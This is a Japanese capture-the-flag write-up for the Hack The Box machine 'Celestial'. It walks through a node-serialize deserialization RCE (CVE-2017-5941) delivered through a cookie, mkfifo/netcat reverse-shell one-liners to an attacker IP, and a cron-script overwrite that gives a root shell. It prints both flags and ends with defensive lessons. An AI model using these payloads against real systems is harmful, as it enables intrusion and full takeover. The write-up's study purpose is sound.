Hack The BoxのWriteup(Celestial)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Celestial — 全実行コマンド・実行結果レポート
Nmap スキャン
3000 (Node.js Express)
“profile” Cookie発見
base64 JSON
CVE-2017-5941
node-serialize デシリアライズRCE
mkfifo リバースシェル
ブラインドRCEを nc で回収
sun シェル取得
user.txt ✓
script.py書込権限発見
rootの個人crontabが5分毎に実行
script.py上書き
root cron発火待ち(最大5分)
root.txt ✓

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.228.94
RESULT
PORT     STATE SERVICE
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
ℹ️
開いているポートは3000のみ。他の一般的なサービス(SSHすら)が存在しない、 非常にシンプルな攻撃対象面を持つマシン。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 3000 10.129.228.94
RESULT
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
ℹ️
ポート3000でNode.js Expressアプリケーションが稼働していることが判明。 Node.jsアプリではシリアライズ/デシリアライズ関連の脆弱性(node-serializeなど)が 定番の攻撃経路になる。
PHASE 2

“profile” Cookieの調査

初回アクセスでprofile Cookieがセットされる

BASH
curl -s -i http://10.129.228.94:3000/
RESULT
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12

<h1>404</h1>
ℹ️
初回訪問時は404だが、レスポンスヘッダーに profile という名前の Cookieがセットされる。このCookie値をデコードすると内部データ構造が見える。

Cookie値をデコードして中身を確認

BASH
echo "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==" | base64 -d
RESULT
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
🚨
Cookie値はbase64エンコードされたJSONオブジェクト。この形式は、Node.jsアプリで よく使われる node-serialize ライブラリの典型的な使い方であり、 CVE-2017-5941 デシリアライズ脆弱性の兆候である。 JSON全体がデシリアライズされる実装であれば、任意のキー名を使ってペイロードを 注入できるはずだと推測できる。
PHASE 3

CVE-2017-5941 (node-serialize) デシリアライズRCE

脆弱性の原理

NOTE
node-serializeライブラリのunserialize()は、JSON文字列中に
"_$$ND_FUNC$$_" というマーカーで始まる値を見つけると、それを
JavaScriptの関数リテラルとしてeval()してしまう実装不備を持つ
(CVE-2017-5941)。これを悪用し、即時実行関数(IIFE)の中で
child_process.exec()を呼び出すことで、任意のシェルコマンドを
実行できる。

ただしexec()の実行結果はHTTPレスポンスへ直接返らない
(ブラインドRCE)ため、コマンド実行の確認や出力取得には
リバースシェル等の別チャネルが必要になる。

悪意のあるJSONペイロードを作成しbase64エンコード

PYTHON
import base64
cmd = 'id'
json_str = (
    '{"evil":"_$$ND_FUNC$$_function (){require(\'child_process\')'
    f".exec('{cmd}'); }}()\"}}"
)
print(json_str)
print(base64.b64encode(json_str.encode()).decode())
RESULT
{"evil":"_$$ND_FUNC$$_function (){require('child_process').exec('id'); }()"}
eyJldmlsIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdpZCcpOyB9KCkifQ==
ℹ️
任意のキー名(ここではevil)で構わない — JSONオブジェクト全体が デシリアライズされる実装のため、既知のキー(username/country等)である 必要はない。
PHASE 4

mkfifoリバースシェル → user.txt

FIFOベースの永続シェル制御を準備

BASH (Kali側)
mkfifo /tmp/celestial_fifo
nohup bash -c 'exec 9<>/tmp/celestial_fifo; while :; do sleep 3600; done' \
  > /tmp/celestial_fifo_keeper.log 2>&1 &
nohup nc -lnvp 14711 < /tmp/celestial_fifo > /tmp/celestial_shell.log 2>&1 &
ℹ️
単純に nc -lnvp <port> だけを起動すると標準入力へコマンドを 送り込む手段がない。FIFOを1つ作り、書き込み側を開いたまま保持する keeperプロセスを走らせておくことで、後から printf 'cmd\n' > fifo で任意のタイミングでコマンドを送信できる永続的な対話シェルとして扱える。

リバースシェルペイロードを送信

PYTHON (ペイロード生成)
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 14711 >/tmp/f'
json_str = (
    '{"evil":"_$$ND_FUNC$$_function (){require(\'child_process\')'
    f".exec('{cmd}'); }}()\"}}"
)
# → base64エンコードしてCookieとして送信
BASH
curl -s --max-time 10 "http://10.129.228.94:3000/" \
  -H "Cookie: profile=<base64ペイロード>"
RESULT (nc リスナー側)
listening on [any] 14711 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.94] 39358
sh: 0: can't access tty; job control turned off
$
RCE成功! ブラインドRCEだが、mkfifoリバースシェルによって 対話的なシェルアクセスへ転換できた。
⚠️
FIFO経由でコマンドを送る際、\r\n(CRLF)を使うと $'\r'がコマンド末尾の引数へ紛れ込みファイル名解決に失敗する (cat: '/path/to/file'$'\r': No such file or directory)。 この接続先のシェルはCR文字を特別扱いしないため、bare \nのみで送ること。

身元確認 & user.txt取得

BASH
printf 'id\n' > /tmp/celestial_fifo
printf 'cat /home/sun/Documents/user.txt\n' > /tmp/celestial_fifo
RESULT
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
db9f75ee08f210f32f5630083adc0b71
user.txt — sun
db9f75ee08f210f32f5630083adc0b71
ℹ️
/home/sun/Documents/user.txtは実際には /home/sun/user.txtへのシンボリックリンク。catは シンボリックリンクを自動的にたどるため問題なく読み取れる。
PHASE 5

権限昇格の下調べ — script.pyの発見

Documentsディレクトリの調査

BASH
printf 'ls -la /home/sun/Documents/\n' > /tmp/celestial_fifo
printf 'cat /home/sun/Documents/script.py\n' > /tmp/celestial_fifo
RESULT
total 12
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 .
drwxr-xr-x 21 sun  sun  4096 Oct 11  2022 ..
-rw-rw-r--  1 sun  sun    29 Sep 13 08:42 script.py
lrwxrwxrwx  1 root root   18 Sep 15  2022 user.txt -> /home/sun/user.txt

print "Script is running..."
🚨
決定的な発見: script.pysun:sun 所有かつグループ書き込み可能(rw-rw-r--)。ファイルの直近の 更新時刻(数分前)から、何らかのスケジュールタスクが定期的にこの ファイルを実行していることが推測できる。中身は print "Script is running..."というpython2構文の1行のみ。
ℹ️
sunユーザーのcrontab -lにはこのスクリプトを 実行するジョブは存在しない。これはroot専用の個人crontab (/var/spool/crontabs/root、rootのみアクセス可能)に script.pyを5分毎に実行するジョブが登録されているためで、 sunユーザーからはそのcrontabの中身を直接確認する手段がない。 ファイルの所有権・書き込み権限・更新頻度という間接的な証拠 だけから読み取る必要がある。
PHASE 6

script.py上書き → root cron発火 → root.txt

root用の第2リスナーを準備

BASH (Kali側)
mkfifo /tmp/celestial_root_fifo
nohup bash -c 'exec 9<>/tmp/celestial_root_fifo; while :; do sleep 3600; done' \
  > /tmp/celestial_root_fifo_keeper.log 2>&1 &
nohup nc -lnvp 14712 < /tmp/celestial_root_fifo > /tmp/celestial_root_shell.log 2>&1 &

script.pyをリバースシェルペイロードで上書き

BASH (sunシェル経由)
printf "echo 'import os' > /home/sun/Documents/script.py\n" > /tmp/celestial_fifo
printf "echo 'os.system(\"rm /tmp/fr;mkfifo /tmp/fr;cat /tmp/fr|sh -i 2>&1|nc 10.10.15.200 14712 >/tmp/fr\")' \
  >> /home/sun/Documents/script.py\n" > /tmp/celestial_fifo
printf 'cat /home/sun/Documents/script.py\n' > /tmp/celestial_fifo
RESULT
import os
os.system("rm /tmp/fr;mkfifo /tmp/fr;cat /tmp/fr|sh -i 2>&1|nc 10.10.15.200 14712 >/tmp/fr")
ℹ️
上書き後の内容はos.system()を使う素朴な1行のリバースシェル起動。 python2/python3どちらの構文でも動作するコードにしてあるため、rootの個人crontab がどちらのインタプリタでscript.pyを実行していても問題なく動く。

root cronの発火を待機(最大5分) & root.txt取得

RESULT (nc :14712 リスナー側、数分後)
listening on [any] 14712 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.94] 39310
sh: 0: can't access tty; job control turned off
#
root cronが発火しリバースシェルへ接続してきた! プロンプトが #になっていることからroot権限のシェルであることが確認できる。
BASH
printf 'cat /root/root.txt\n' > /tmp/celestial_root_fifo
RESULT
5578e3bd65fcd1228cae9e0fe20aafe3
root.txt — root@celestial
5578e3bd65fcd1228cae9e0fe20aafe3
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — sun
db9f75ee08f210f32f5630083adc0b71
root.txt — root@celestial
5578e3bd65fcd1228cae9e0fe20aafe3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2017-5941 node-serialize (Node.js Express app, port 3000) リモートコード実行 (sun、ブラインドRCE) Critical “profile” Cookieの中身であるJSONオブジェクトに”_$$ND_FUNC$$_”マーカー付き 関数リテラルを注入、デシリアライズ時にeval()されchild_process.exec()を実行
rootの個人crontab用スクリプトが一般ユーザー書込可能 /home/sun/Documents/script.py 権限昇格 (sun → root) Critical sun:sun所有・グループ書込可のscript.pyを、root専用個人crontabが5分毎に root権限で実行する設計を悪用しリバースシェルペイロードへ差し替え

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + バージョンスキャンポート3000のみ、Node.js Express
2Cookie調査curl -i + base64デコード“profile” CookieがJSONをシリアライズしている構造を発見
3RCEペイロード生成CVE-2017-5941 JSONペイロード構築node-serializeデシリアライズRCEの成立を確認
4リバースシェルmkfifoペイロード + FIFOベース永続nc制御user.txt取得 (sunシェル)
5権限調査Documentsディレクトリ調査root個人crontabが実行するscript.pyの書込権限を発見
6権限昇格script.py上書き + cron発火待機root.txt取得

学んだ教訓 & 防御策

問題点防御策
node-serializeのように「信頼できない入力を関数として評価する」設計の シリアライズライブラリを使用 ユーザー制御可能な値をevalベースのデシリアライザに渡さない。 JSON.parse等の純粋なデータのみを扱うパーサーを使用し、コード実行能力を 持たせない。
root権限で定期実行されるスクリプトファイルが、非rootユーザーの 書き込み可能な場所・権限で配置されている root権限で実行するスクリプトはroot所有・root専用書き込み権限 (例: 644、root:root)に設定する。cron等で実行するファイルへの 書き込み権限は最小権限の原則を徹底する。
root専用の個人crontabに書かれた定期実行ジョブが、一般ユーザーからは 直接見えないため気づかれにくい(セキュリティ・バイ・オブスキュリティ) 定期的なファイル権限監査(誰が何を書き込めるか)を実施し、 crontabの中身が見えないことに頼らず実際のファイルパーミッションで 安全性を担保する。
HackTheBox: Celestial | 完全攻略レポート